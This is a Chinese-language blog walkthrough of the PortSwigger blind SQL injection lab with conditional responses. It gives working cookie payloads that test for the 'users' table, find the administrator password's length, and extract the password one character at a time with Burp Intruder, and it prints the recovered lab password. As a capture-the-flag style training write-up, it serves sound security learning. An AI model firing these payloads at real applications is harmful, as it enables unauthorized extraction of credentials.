portswigger lab Blind SQL injection sql盲注

portswigger lab Blind SQL injection sql盲注

许多 SQL 注入实例都是盲漏洞。这意味着应用程序不会在其响应中返回 SQL 查询的结果或任何数据库错误的详细信息。仍然可以利用盲漏洞来访问未经授权的数据,但所涉及的技术通常更复杂且难以执行。

根据漏洞的性质和所涉及的数据库,可以使用以下技术来利用盲 SQL 注入漏洞:

  • 您可以更改查询的逻辑,以根据单个条件的真实性触发应用程序响应中可检测的差异。这可能涉及将新条件注入某些布尔逻辑,或有条件地触发错误,例如被零除。
  • 您可以有条件地触发查询处理的时间延迟,从而允许您根据应用程序响应所需的时间来推断条件的真实性。
  • 您可以使用OAST技术 触发带外网络交互。这种技术非常强大,可以在其他技术不具备的情况下工作。通常,您可以通过带外通道直接泄露数据,例如将数据放入您控制的域的 DNS 查找中。

什么是盲 SQL 注入?

当应用程序容易受到 SQL 注入攻击,但其 HTTP 响应不包含相关 SQL 查询的结果或任何数据库错误的详细信息时,就会出现 SQL 盲注。

UNION对于盲 SQL 注入漏洞,攻击 等许多技术都无效,因为它们依赖于能够在应用程序的响应中看到注入查询的结果。仍然可以利用盲 SQL 注入来访问未经授权的数据,但必须使用不同的技术。

通过触发条件响应来利用盲 SQL 注入

考虑一个使用跟踪 cookie 来收集有关使用情况的分析的应用程序。对应用程序的请求包括这样的 cookie 标头:

Cookie: TrackingId=u5YD3PapBcR4lN3e7Tj4

当处理包含TrackingIdcookie 的请求时,应用程序会使用如下 SQL 查询来确定这是否是已知用户:

SELECT TrackingId FROM TrackedUsers WHERE TrackingId = 'u5YD3PapBcR4lN3e7Tj4'

此查询易受 SQL 注入攻击,但查询的结果不会返回给用户。但是,根据查询是否返回任何数据,应用程序的行为会有所不同。如果它返回数据(因为TrackingId已提交识别),则页面内会显示“欢迎回来”消息。

这种行为足以利用 SQL 盲注漏洞并通过有条件地触发不同的响应来检索信息,具体取决于注入的条件。要了解其工作原理,假设TrackingId依次发送了两个包含以下 cookie 值的请求:

…xyz' AND '1'='1
…xyz' AND '1'='2

这些值中的第一个将导致查询返回结果,因为注入的AND '1'='1条件为真,因此将显示“欢迎回来”消息。而第二个值将导致查询不返回任何结果,因为注入的条件为假,因此不会显示“欢迎回来”消息。这使我们能够确定任何单个注入条件的答案,从而一次提取一位数据

例如,假设有一个名为Users的列和Username,Password的表,以及一个名为 Administrator的用户。我们可以通过发送一系列输入来系统地确定该用户的密码,以一次一个字符地测试密码。

为此,我们从以下输入开始:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 'm

这将返回“欢迎回来”消息,表示注入条件为真,因此密码的第一个字符大于m.

接下来,我们发送以下输入:

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) > 't

这不会返回“欢迎回来”消息,表示注入条件为假,因此密码的第一个字符不大于t

最终,我们发送以下输入,返回“欢迎回来”消息,从而确认密码的第一个字符是s

xyz' AND SUBSTRING((SELECT Password FROM Users WHERE Username = 'Administrator'), 1, 1) = 's

我们可以继续这个过程来系统地确定Administrator用户的完整密码。

注意:

SUBSTRING函数SUBSTR在某些类型的数据库上调用。有关更多详细信息,请参阅SQL 注入备忘单.

带有条件响应的盲SQL 注入

靶场地址:

sql-injection/blind/lab-conditional-responses

靶场说明

本实验包含一个盲 SQL 注入漏洞。该应用程序使用跟踪 cookie 进行分析,并执行包含提交的 cookie 值的 SQL 查询。

不返回 SQL 查询的结果,也不显示错误消息。但如果查询返回任何行,应用程序会在页面中包含“欢迎回来”消息。

该数据库包含一个名为 users的不同表,其中的列名为usernamepassword。您需要利用SQL 盲注漏洞找出administrator用户的密码。

要解决实验室问题,请以administrator用户身份登录。

①检测cookie参数是否存在sql盲注漏洞:

(1)观察+分析

网站根据我们的cookie值来判断我们是否访问过此网站,

第一次访问网站时是这样的页面:

portswigger lab Blind SQL injection sql盲注

当我们随便点一个页面再返回首页,可以看到多了一个Welcome back!的字眼:

portswigger lab Blind SQL injection sql盲注

初步判断:网站将我们的cookie值代入数据库进行查询,一旦检测到存在这个cookie就返回Welcome back!(欢迎回来!).

背后的数据库查询应该类似如下所示:

select tracking-id from tracking-table where TrackingId='9sP1nDwFuNxWIYYV'

如果查询显示TrackingId存在,则返回–Welcome back!的消息.
如果查询显示TrackingId不存在,则不显示Welcome back!的消息.

我们在最后面加一个'测试:

portswigger lab Blind SQL injection sql盲注

不显示Welcome back!的消息,说明可能存在sql注入漏洞,且属于盲注!

(2)验证猜想是否正确

我们接下来要构造sql语句来验证:

select tracking-id from tracking-tab where TrackingId='9sP1nDwFuNxWIYYV' and 1=1--'

如果猜想正确,则显示Welcome back!的消息.

payload:

' and 1=1--
portswigger lab Blind SQL injection sql盲注

因为1=1始终为真,所以返回结果应该包含Welcome back!

payload:

' and 1=0--

因为1=0为假,所以返回结果应该不显示Welcome back!

portswigger lab Blind SQL injection sql盲注

结果证明猜想正确,cookie参数存在sql盲注漏洞.

②检测是否存在名为users的表名:

在此sql盲注中.我们唯一能用来判断猜想是否正确的的点只有Welcome back!显示与否!

我们要构造如下所示语句进行测试:

select tracking-id from track-tab where TrackingId='9sP1nDwFuNxWIYYV' and (select 'x' from users LIMIT 1)='x'--'

如果猜想正确,则显示Welcome back!的消息,说明存在名为users的表名.

payload:

' and (select 'x' from users LIMIT 1)='x'--
portswigger lab Blind SQL injection sql盲注

可以看到Welcome back!,说明存在名为users的表名.

③检测users表中是否存在名为administrator的列名:

我们要构造如下所示语句进行测试:

select tracking-id from tracking-table where TrackingID='9sP1nDwFuNxWIYYV' and (select username from users where username='administrator')='administrator'--'

如果猜想正确,则显示Welcome back!的消息,说明名为users的表中存在名为administrator的列名.

paylaod:

' and (select username from users where username='administrator')='administrator'--
portswigger lab Blind SQL injection sql盲注

可以看到Welcome back!,说明users表中存在列administrator.

④检测administrator的密码长度:

我们应该构造如下语句:

select tracking-id from tracking-table where TrackingId='9sP1nDwFuNxWIYYV' and (select username from users where username='administrator' and LENGTH(password)>1)='administrator'--'

如果返回Welcome back!的消息,说明密码长度大于1

portswigger lab Blind SQL injection sql盲注

payload:

' and (select username from users where username='administrator' and LENGTH(password)>1)='administrator'--

我们将密码长度由1改成2,3,4,5,…..,N. 直不返回Welcome back!的消息,说明N就是密码长度.

下面的payload密码长度改成大于2,依然返回Welcome back!的消息,说明密码大于2

payload:

' and (select username from users where username='administrator' and LENGTH(password)>2)='administrator'--

现在我们就需要对N(数字1)进行爆破.

在burp suite中将数据包发送到Intruder进行爆破:

portswigger lab Blind SQL injection sql盲注

这里选择数字,从1到50,一次一位:

portswigger lab Blind SQL injection sql盲注

等全部数据跑完,看不一样的length长度以及返回的数据包中是否包含Welcome back!的消息来判断密码长度

portswigger lab Blind SQL injection sql盲注
密码长度为19时,返回Welcome back!,说明密码长度大于19

密码长度为20时,返回数据中没有Welcome back!,说明密码长度没有大于20

portswigger lab Blind SQL injection sql盲注

密码长度大于19,且密码长度不大于20,且为整数的情况下:说明密码长度为20字符串.

⑤两个变量同时进行,逐一将密码跑出来

此时要构造的语句如下:

select tracking-id from tracking-table where TrackingId='9sP1nDwFuNxWIYYV' and (select substring(password,1,1) from users where username='administrator')='a'--'

简单翻译过来就是:从users表中选择名为administrator的列,且administrator的子字符串password的第一位=a

payload:

' and (select substring(password,1,1) from users where username='administrator')='a'--

如果第一位确实等于a,那么返回的数据包中会存在Welcome back!的消息,说明密码第一位是a;
而我们已经判断出来密码总的只有20位,如果密码只是由小写字母+数字的形式构成,每一位只需要猜测36次即可,猜测20位只需要720次.

现在我们用不着一个一个字符去测试,因为我们有burpsuite!

因为有两个变量,每一个要跑的密码字典不一样,所以我们选择Cluster bomb

portswigger lab Blind SQL injection sql盲注

第一个变量我们选择数字1到20,一次1个.

portswigger lab Blind SQL injection sql盲注

第二个变量是密码的每一位,我们选择brute forcer,长度为1

portswigger lab Blind SQL injection sql盲注
[a-z,0-9]

注意:这是理想情况下,实际中可能还有大小写和特殊符号,不过也都不是问题.

接下来等全部进程跑完,查看不一样的长度值:

portswigger lab Blind SQL injection sql盲注
length为11314的返回数据包中存在Welcome back!,说明这个数据长度下的payload是成功的
portswigger lab Blind SQL injection sql盲注
11234数据长度的包中没有Welcome back!,说明是失败的数据返回包

接下来我们把存在Welcome back!返回数据的包筛选出来:

portswigger lab Blind SQL injection sql盲注

将payload1 正序排列

CTRL+A全部复制,然后粘贴到vscode或者excel中方便提取:

portswigger lab Blind SQL injection sql盲注

使用ait+shift将一列数据复制,再使用正则表达式将换行符去掉,最终密码就得到了:

fhmujtlobdjg97h8wvtj
portswigger lab Blind SQL injection sql盲注

⑥使用administrator和fhmujtlobdjg97h8wvtj登录即可完成实验.

portswigger lab Blind SQL injection sql盲注

转载请注明出处及链接

Leave a Reply

您的电子邮箱地址不会被公开。 必填项已用 * 标注